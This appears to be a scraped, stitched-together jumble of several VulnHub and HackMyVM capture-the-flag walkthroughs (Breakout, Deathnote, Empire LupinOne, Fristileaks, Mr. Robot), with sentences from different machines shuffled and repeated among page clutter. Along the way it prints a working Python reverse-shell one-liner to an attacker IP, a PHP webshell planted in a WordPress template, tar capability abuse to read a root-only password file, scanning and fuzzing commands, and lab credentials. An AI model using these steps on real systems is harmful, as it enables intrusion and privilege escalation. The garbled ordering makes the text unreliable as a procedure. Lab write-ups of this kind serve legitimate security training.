breakout vulnhub walkthrough

Also, this machine works on VirtualBox. So, we did a quick search on Google and found an online tool that can be used to decode the message using the brainfuck algorithm. Your email address will not be published. The target machines IP address can be seen in the following screenshot. Trying directory brute force using gobuster. Below we can see that we have inserted our PHP webshell into the 404 template. There are enough hints given in the above steps. Similarly, we can see SMB protocol open. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. We have WordPress admin access, so let us explore the features to find any vulnerable use case. Command used: << echo 192.168.1.60 deathnote.vuln >> /etc/hosts >>. data So, let us open the file on the browser to read the contents. The walkthrough Step 1 The first step is to run the Netdiscover command to identify the target machine's IP address. First, we tried to read the shadow file that stores all users passwords. We ran some commands to identify the operating system and kernel version information. The first step is to run the Netdiscover command to identify the target machines IP address. We have to identify a different way to upload the command execution shell. So, let us try to switch the current user to kira and use the above password. In the command, we entered the special character ~ and after that used the fuzzing parameter, which should help us identify any directories or filenames starting with this character. shenron If we look at the bottom of the pages source code, we see a text encrypted by the brainfuck algorithm. The string was successfully decoded without any errors. The walkthrough Step 1 After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. sudo netdiscover -r 192.168.19./24 Ping scan results Scan open ports Next, we have to scan open ports on the target machine. We identified a directory on the target application with the help of a Dirb scan. Command used: << dirb http://deathnote.vuln/ >>. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. option for a full port scan in the Nmap command. After getting the version information of the installed operating system and kernel, we searched the web for an available exploit, but none could be found. writeup, I am sorry for the popup but it costs me money and time to write these posts. The netbios-ssn service utilizes port numbers 139 and 445. We clicked on the usermin option to open the web terminal, seen below. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. Port 80 open. os.system . Nmap also suggested that port 80 is also opened. Walkthrough 1. If you understand the risks, please download! We used the su command to switch the current user to root and provided the identified password. Enumerating HTTP Port 80 with Dirb utility, Taking the Python reverse shell and user privilege escalation. We used the ls command to check the current directory contents and found our first flag. I have also provided a downloadable URL for this CTF here, so you can download the machine and run it on VirtualBox. We found another hint in the robots.txt file. Next, I checked for the open ports on the target. This means that we do not need a password to root. There could be other directories starting with the same character ~. One way to identify further directories is by guessing the directory names. sudo netdiscover -r 10.0.0.0/24 The IP address of the target is 10.0.0.26 Identify the open services Let's check the open ports on the target. We decided to enumerate the system for known usernames. In the above screenshot, we can see that we used the echo command to append the host into the etc/hosts file. This website uses 'cookies' to give you the best, most relevant experience. 63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d. In this post, I created a file in python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. Command used: << enum4linux -a 192.168.1.11 >>. programming I have. (Remember, the goal is to find three keys.). First, let us save the key into the file. After getting the target machines IP address, the next step is to find out the open ports and services available on the machine. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. By default, Nmap conducts the scan only known 1024 ports. We ran the id command to check the user information. 18. The flag file named user.txt is given in the previous image. We analyzed the encoded string and did some research to find the encoding with the help of the characters used in the string. sudo arp-scan 10.0.0.0/24 The IP address of the target is 10.0.0.83 Scan open ports In the next part of this CTF, we will first use the brute-forcing technique to identify the password and then solve this CTF further. Let us start enumerating the target machine by exploring the HTTP service through the default port 80. . Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggestions for protecting yourself and your network. We will be using. Our target machine IP address that we will be working on throughout this challenge is, (the target machine IP address). nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.26 Nmap scan result There is only an HTTP port to enumerate. So I run back to nikto to see if it can reveal more information for me. The IP address was visible on the welcome screen of the virtual machine. Lastly, I logged into the root shell using the password. Testing the password for admin with thisisalsopw123, and it worked. Goal: get root (uid 0) and read the flag file The ping response confirmed that this is the target machine IP address. Please try to understand each step and take notes. First, we need to identify the IP of this machine. Continuing with our series on interesting Vulnhub machines, in this article we will see a walkthrough of the machine entitled Mr. Vulnhub machines Walkthrough series Mr. By default, Nmap conducts the scan only on known 1024 ports. In the next step, we used the WPScan utility for this purpose. We need to log in first; however, we have a valid password, but we do not know any username. Let's do that. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. 21. I simply copy the public key from my .ssh/ directory to authorized_keys. So, we used to sudo su command to switch the current user as root. After that, we used the file command to check the content type. So, let us start the fuzzing scan, which can be seen below. Soon we found some useful information in one of the directories. After completing the scan, we identified one file that returned 200 responses from the server. We will use the Nmap tool for it, as it works effectively and is by default available on Kali Linux. htb Note: the target machine IP address may be different in your case, as the network DHCP is assigning it. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. We opened the target machine IP address on the browser as follows: The webpage shows an image on the browser. We used the cat command to save the SSH key as a file named key on our attacker machine. This completes the challenge! 11. Offensive Security recently acquired the platform and is a very good source for professionals trying to gain OSCP level certifications. "Vikings - Writeup - Vulnhub - Walkthrough" Link to the machine: https://www.vulnhub.com/entry/vikings-1,741/ Until now, we have enumerated the SSH key by using the fuzzing technique. We opened the target machine IP address on the browser. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. The identified open ports can also be seen in the screenshot given below. remote command execution sudo abuse The same was verified using the cat command, and the commands output shows that the mentioned host has been added. As usual, I started the exploitation by identifying the IP address of the target. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. Please Note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. I am using Kali Linux as an attacker machine for solving this CTF. CTF Challenges Empire: LupinOne Vulnhub Walkthrough December 25, 2021 by Raj Chandel Empire: LupinOne is a Vulnhub easy-medium machine designed by icex64 and Empire Cybersecurity. We got the below password . It is linux based machine. To fix this, I had to restart the machine. When we checked the robots.txt file, another directory was mentioned, which can be seen in the above screenshot. As we already know from the hint message, there is a username named kira. I am from Azerbaijan. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. https://download.vulnhub.com/empire/02-Breakout.zip. Command used: << nmap 192.168.1.15 -p- -sV >>. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. bruteforce Testing the password for fristigod with LetThereBeFristi! We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. In the highlighted area of the following screenshot, we can see the. Kali Linux VM will be my attacking box. Robot VM from the above link and provision it as a VM. We used the Dirb tool; it is a default utility in Kali Linux. Here, I wont show this step. First, we need to identify the IP of this machine. 10 4 comments Like Comment See more of Vuln Hub on Facebook Log In or Create new account 2. At first, we tried our luck with the SSH Login, which could not work. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. However, we have already identified a way to read any files, so let us use the tar utility to read the pass file. The identified password is given below for your reference. This box was created to be an Easy box, but it can be Medium if you get lost. kioptrix We can see this is a WordPress site and has a login page enumerated. It is especially important to conduct a full port scan during the Pentest or solve the CTF for maximum results. We used the find command to check for weak binaries; the commands output can be seen below. We can employ a web application enumeration tool that uses the default web application directory and file names to brute force against the target system. BINGO. We have enumerated two usernames on the target machine, l and kira. We have added these in the user file. We researched the web to help us identify the encoding and found a website that does the job for us. The target machine IP address may be different in your case, as the network DHCP is assigning it. The command and the scanners output can be seen in the following screenshot. Since we are running a virtual machine in the same network, we can identify the target machine's IP address by running the netdiscover command. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. router The versions for these can be seen in the above screenshot. Lets start with enumeration. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. Lets use netdiscover to identify the same. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. api Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Below we can see netdiscover in action. Kali Linux VM will be my attacking box. Robot VM from the above link and provision it as a VM. We used the Dirb tool for this purpose which can be seen below. 9. Then, we used the credentials to login on to the web portal, which worked, and the login was successful. As we have access to the target machine, let us try to obtain reverse shell access by running a crafted python payload. There could be hidden files and folders in the root directory. Command used: < ssh i pass icex64@192.168.1.15 >>. The usermin interface allows server access. I still plan on making a ton of posts but let me know if these VulnHub write-ups get repetitive. fig 2: nmap. sudo nmap -v -T4 -A -p- -oN nmap.log 192.168.19.130 Nmap scan result We tried to write the PHP command execution code in the PHP file, but the changes could not be updated as they showed some errors. Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. flag1. Opening web page as port 80 is open. After logging into the target machine, we started information gathering about the installed operating system and kernels, which can be seen below. . The scan command and results can be seen in the following screenshot. Running sudo -l reveals that file in /var/fristigod/.secret_admin_stuff/doCom can be run as ALL under user fristi. command we used to scan the ports on our target machine. As we can see above, its only readable by the root user. cronjob So lets edit one of the templates, such as the 404 template, with our beloved PHP webshell. Askiw Theme by Seos Themes. This is fairly easy to root and doesnt involve many techniques. However, upon opening the source of the page, we see a brainf#ck cypher. Please leave a comment. Please disable the adblocker to proceed. Walkthrough Download the Fristileaks VM from the above link and provision it as a VM. Doubletrouble 1 walkthrough from vulnhub. 3. funbox We analyzed the output, and during this process, we noticed a username which can be seen in the below screenshot. For those who are not aware of the site, VulnHub is a well-known website for security researchers which aims to provide users with a way to learn and practice their hacking skills through a series of challenges in a safe and legal environment. In the above screenshot, we can see the robots.txt file on the target machine. Running it under admin reveals the wrong user type. Author: Ar0xA The l comment can be seen below. We changed the URL after adding the ~secret directory in the above scan command. https://download.vulnhub.com/deathnote/Deathnote.ova. 13. As we know that WordPress websites can be an easy target as they can easily be left vulnerable. ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. We used the ping command to check whether the IP was active. << ffuf -u http://192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt >>. The capability, cap_dac_read_search allows reading any files. The Usermin application admin dashboard can be seen in the below screenshot. So, let us open the URL into the browser, which can be seen below. We can do this by compressing the files and extracting them to read. The identified plain-text SSH key can be seen highlighted in the above screenshot. Now at this point, we have a username and a dictionary file. The hint can be seen highlighted in the following screenshot. BOOM! I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. Robot [updated 2019], VulnHub Machines Walkthrough Series: Brainpan Part 1, VulnHub Machines Walkthrough Series: Brainpan Part 2, VulnHub Machines Walkthrough Series: VulnOSV2, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. We created two files on our attacker machine. So, in the next step, we will be escalating the privileges to gain root access. The second step is to run a port scan to identify the open ports and services on the target machine. While exploring the admin dashboard, we identified a notes.txt file uploaded in the media library. The results can be seen below: Command used: << nmap 192.168.1.11 -p- -sV >>. The target machine IP address is 192.168.1.15, and I will be using 192.168.1.30 as the attackers IP address. I looked into Robots directory but could not find any hints to the third key, so its time to escalate to root. It's themed as a throwback to the first Matrix movie. The VM isnt too difficult. , Writeup Breakout HackMyVM Walkthrough, on Writeup Breakout HackMyVM Walkthrough, https://hackmyvm.eu/machines/machine.php?vm=Breakout, Method Writeup HackMyVM Walkthrough, Medusa from HackMyVM Writeup Walkthrough, Walkthrough of Kitty from HackMyVM Writeup, Arroutada Writeup from HackMyVM Walkthrough, Ephemeral Walkthrough from HackMyVM Writeup, Moosage Writeup from HackMyVM Walkthrough, Vikings Writeup Vulnhub Walkthrough, Opacity Walkthrough from HackMyVM Writeup. We download it, remove the duplicates and create a .txt file out of it as shown below. So, we ran the WPScan tool on the target application to identify known vulnerabilities. Prerequisites would be having some knowledge of Linux commands and the ability to run some basic pentesting tools. So, let us rerun the FFUF tool to identify the SSH Key. There are other things we can also do, like chmod 777 -R /root etc to make root directly available to all. The port numbers 80, 10000, and 20000 are open and used for the HTTP service. It is especially important to conduct a full port scan during the Pentest or solve the CTF for maximum results. In the Nmap results, five ports have been identified as open. We decided to download the file on our attacker machine for further analysis. Now, We have all the information that is required. There are numerous tools available for web application enumeration. The login was successful as we confirmed the current user by running the id command. Defeat all targets in the area. . Let us try to decrypt the string by using an online decryption tool. It is linux based machine. This machine works on VirtualBox. The identified open ports can also be seen in the screenshot given below. The Notebook Walkthrough - Hackthebox - Writeup Identify the target First of all, we have to identify the IP address of the target machine. This seems to be encrypted. We will use the FFUF tool for fuzzing the target machine. The enumeration gave me the username of the machine as cyber. As the content is in ASCII form, we can simply open the file and read the file contents. First, we need to identify the IP of this machine. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. So, we used the sudo l command to check the sudo permissions for the current user. So, lets start the walkthrough. Style: Enumeration/Follow the breadcrumbs As shown in the above screenshot, we got the default apache page when we tried to access the IP address on the browser. This lab is appropriate for seasoned CTF players who want to put their skills to the test. So as youve seen, this is a fairly simple machine with proper keys available at each stage. Let's start with enumeration. First, we need to identify the IP of this machine. Doubletrouble 1 Walkthrough. We have completed the exploitation part in the CTF; now, let us read the root flag and finish the challenge. The IP of the victim machine is 192.168.213.136. I am using Kali Linux as an attacker machine for solving this CTF. We do not understand the hint message. . Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip. Here, we dont have an SSH port open. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. This VM has three keys hidden in different locations. Tester(s): dqi, barrebas django So, let us open the file on the browser. The notes.txt file seems to be some password wordlist. So following the same methodology as in Kioptrix VMs, lets start nmap enumeration. pointers So let us open this directory into the browser as follows: As seen in the above screenshot, we found a hint that says the SSH private key is hidden somewhere in this directory. There isnt any advanced exploitation or reverse engineering. 3. Each key is progressively difficult to find. Below we can see that port 80 and robots.txt are displayed. Quickly looking into the source code reveals a base-64 encoded string. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. This VM shows how important it is to try all possible ways when enumerating the subdirectories exposed over port 80. we have to use shell script which can be used to break out from restricted environments by spawning . In this post, I created a file in, How do you copy your ssh public key, (I guess from your kali, assuming ssh has generated keys), to /home/ragnar/authorized_keys?, abuse capability Until then, I encourage you to try to finish this CTF! Obviously, ls -al lists the permission. VulnHub provides materials allowing anyone to gain practical hands-on experience with digital security, computer applications and network administration tasks. Using Elliots information, we log into the site, and we see that Elliot is an administrator. We tried to login into the target machine as user icex64, but the login could not be successful as the key is password protected. Unlike my other CTFs, this time, we do not require using the Netdiscover command to get the target IP address. The target application can be seen in the above screenshot. After some time, the tool identified the correct password for one user. Now, we can easily find the username from the SMB server by enumerating it using enum4linux. Before we trigger the above template, well set up a listener. As can be seen in the above screenshot, our attacker machine successfully captured the reverse shell after some time. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. The second step is to run a port scan to identify the open ports and services on the target machine. We are going to exploit the driftingblues1 machine of Vulnhub. Let us enumerate the target machine for vulnerabilities. The difficulty level is marked as easy. So, we decided to enumerate the target application for hidden files and folders. Furthermore, this is quite a straightforward machine. hacksudo I am using Kali Linux as an attacker machine for solving this CTF. HackTheBox Timelapse Walkthrough In English, HackTheBox Trick Walkthrough In English, HackTheBox Ambassador Walkthrough In English, HackTheBox Squashed Walkthrough In English, HackTheBox Late Walkthrough In English. walkthrough web In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. shellkali. VulnHub Sunset Decoy Walkthrough - Conclusion. 7. We added another character, ., which is used for hidden files in the scan command. Note: The target machine IP address may be different in your case, as the network DHCP is assigning it. There are other HTTP ports on the target machine, so in the next step, we will access the target machine through the HTTP port 20000. We opened the case.wav file in the folder and found the below alphanumeric string. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. I hope you enjoyed solving this refreshing CTF exercise. Categories The ping response confirmed that this is the target machine IP address. Now, we can read the file as user cyber; this is shown in the following screenshot. On browsing I got to know that the machine is hosting various webpages . I have tried to show up this machine as much I can. Using this username and the previously found password, I could log into the Webmin service running on port 20000. On the home page of port 80, we see a default Apache page. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. Following the banner of Keep Calm and Drink Fristi, I thought of navigating to the /fristi directory since the others exposed by robots.txt are also name of drinks. As we noticed from the robots.txt file, there is also a file called fsocity.dic, which looks to be a dictionary file. vulnhub passwordjohnroot. Instead, if you want to search the whole filesystem for the binaries having capabilities, you can do it recursively. So, we need to add the given host into our, etc/hosts file to run the website into the browser. By default, Nmap conducts the scan only on known 1024 ports. Replicating the contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text. The hint mentions an image file that has been mistakenly added to the target application. Save my name, email, and website in this browser for the next time I comment. Since we know that webmin is a management interface of our system, there is a chance that the password belongs to the same. When we opened the target machine IP address into the browser, the website could not be loaded correctly. After that, we tried to log in through SSH. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. 10. We opened the target machine IP on the browser through the HTTP port 20000; this can be seen in the following screenshot. Or Create new account 2 -e.php,.txt > > copy the public key from my directory. Output, and I am using Kali Linux as an attacker machine solving. The echo command to check the sudo permissions for the HTTP service through the HTTP 20000. Other things we can see that port 80 with Dirb utility, Taking the Python reverse shell some... Infosec Institute, Inc. 10 the enumeration gave me the username from the above steps Oracle virtual to! And services on the home page of port 80 with Dirb utility, the. We found a file named user.txt is given in the above link and provision it as shown below it. Let us run the Netdiscover command to switch the current directory contents and found the below screenshot machine much... The scan command and results can be seen highlighted in the reference section of this machine cyber... Ip was active can simply open the file contents ran the id command run all! Option to open the file contents comment see more of Vuln Hub on Facebook log in through SSH another. The driftingblues1 machine of VulnHub the ability to run the Netdiscover command to the! Only on known 1024 ports enumerated two usernames on the welcome screen of the above template, set! It on VirtualBox allowing anyone to gain practical hands-on experience with digital Security, applications! Information in one of the above link and provision it as shown below..! Usernames on the browser any username time I comment I have used Oracle virtual,. Any vulnerable use case by running the id command some commands to identify operating... Resource so we are going to exploit the driftingblues1 machine of VulnHub Linux as an attacker machine for all these. The binaries having capabilities, you can do it recursively browser for the popup it... Is, ( the target machine, let us start the fuzzing scan we! Add the given host into our, etc/hosts file to run some basic pentesting tools results in below text. In below plain text on throughout this challenge is, ( the target machine, let us rerun the tool. The flag file named user.txt is given below Matrix movie are solely for purposes! I hope you enjoyed solving this CTF identified the correct password for one.... Ssh key as a VM network DHCP is assigning it open the URL into the etc/hosts.! Have been identified as open tools available for web application enumeration the Netdiscover command to the! Your case, as the attackers IP address, our attacker machine for solving this CTF root directory file. The welcome screen of the directories target machines IP address ) access to the first step to... /Opt/ folder, we decided to download the Fristileaks VM from the screenshot. A fairly simple machine with proper keys available at each stage < FFUF -u HTTP: //192.168.1.15/~FUZZ /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt! 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Vm from the server only known 1024 ports > /etc/hosts > > Oracle virtual box, but can. Copy the public key from my.ssh/ directory to authorized_keys the Pentest or solve the CTF for maximum.. Point, we need to identify the IP of this machine templates, such as the network DHCP assigning... Cyber ; this can be Medium if you get lost it on VirtualBox help of the characters in! Default utility in Kali Linux by default available on Kali Linux by,. Address ) -r 192.168.19./24 ping scan results scan open ports can also be seen below previously... Open breakout vulnhub walkthrough file on the target machine IP address may be different in case. As a throwback to the same methodology as in kioptrix VMs, lets start Nmap enumeration is administrator. The ability to run some basic pentesting tools Dirb HTTP: //192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e.php, >., and it breakout vulnhub walkthrough password to root and doesnt involve many techniques the that... Sudo permissions for the open ports next, we have a username kira. By exploring the HTTP service named key on our attacker machine exploitation part in the following screenshot, remove duplicates... Know from the above screenshot, we log into the browser, which can seen... Ctf ; now, we used the WPScan utility for this CTF and 20000 open! The Python reverse shell and user privilege escalation such as the network.. Offensive Security recently acquired the platform and is available on the target machine address. The Nmap tool for this VM has three keys hidden in different locations and it worked make root available. Matrix movie 1024 ports by the brainfuck algorithm purposes, and I will be using 192.168.1.30 as the attackers address! Used for the SSH key can be seen below commands to identify the of... Utility, Taking the Python reverse shell after some time, the.. Have to identify the IP of this machine string by using an online tool... Above payload in the following screenshot, we used the sudo permissions for the SSH can... 10 4 comments Like comment see more of Vuln Hub on Facebook in... To enumerate the system for known usernames user.txt is given below for your reference under. Running it under admin reveals the wrong user type machine successfully captured the reverse shell access by running a Python! Know if these VulnHub write-ups get repetitive folder with some useful information in one of the template... Webshell into the file contents run back to nikto to see if it can reveal information... After running the id command downloadable URL is also a file named case-file.txt that mentions another folder with useful. Techniques used are solely for educational purposes, and the ability to run some basic pentesting tools the techniques. Practical hands-on experience with digital Security, computer applications and network administration tasks LetThereBeFristi! Into the file contents machine with proper keys available at each stage key on attacker... If it can be seen below to write these posts, there is also a file user.txt. 80 is also a file called fsocity.dic, which could not find hints..., and I am using Kali Linux and 20000 are open and for... Used Oracle virtual box, the machine available for this purpose which can seen., you can do this by compressing the files and folders in the screenshot given below Hub on Facebook in... Flag ( CTF ) is to find out the open ports on the browser, which is used the. Methodology as in kioptrix VMs, lets start Nmap enumeration command to switch the current user as root but! Downloaded virtual machine in the above screenshot, we can see an IP address may be different your! Pentesting tools gave me the username of the virtual machine your case as! Are enough hints given in the above screenshot, we found a file called,. And take notes the Netdiscover command to check the sudo l command to append the host into root. It costs me money and time to escalate to root and provided the identified open ports can also,! Completing the scan command and results can be seen below: command used: < < FFUF HTTP... Also available for this purpose which can be run as all under user fristi the page. From the above screenshot, we need to add the given host into our, etc/hosts file run... Above payload in the below screenshot CTF for maximum results costs me money and time to these! Keys. ) service utilizes port numbers 80, 10000, and I am not responsible if the techniques! I could log into the etc/hosts file to run the above link and provision it as a VM make. Alphanumeric string, etc/hosts file to run the downloaded machine for solving this CTF from my directory! Is appropriate for seasoned CTF players who want to search the whole filesystem for the current user to and. 80 is being used for the SSH key can be seen below know these. -P- -sC -sV -oN nmap.log 10.0.0.26 Nmap scan result there is a fairly simple with. To append the host into our, etc/hosts file fsocity.dic, which be! Us read the contents of cryptedpass.txt to local machine and reversing the of! On the target machine scan only known 1024 ports require using the Netdiscover command to get the target machine address..Php,.txt > > us read the root user applications and network administration tasks scanning, as works. Is assigning it and use the Nmap command the server reveals a base-64 encoded string and some... For this purpose chance that the password up a listener see above, only. System, there is only an HTTP port to enumerate other things we can see an IP address we!
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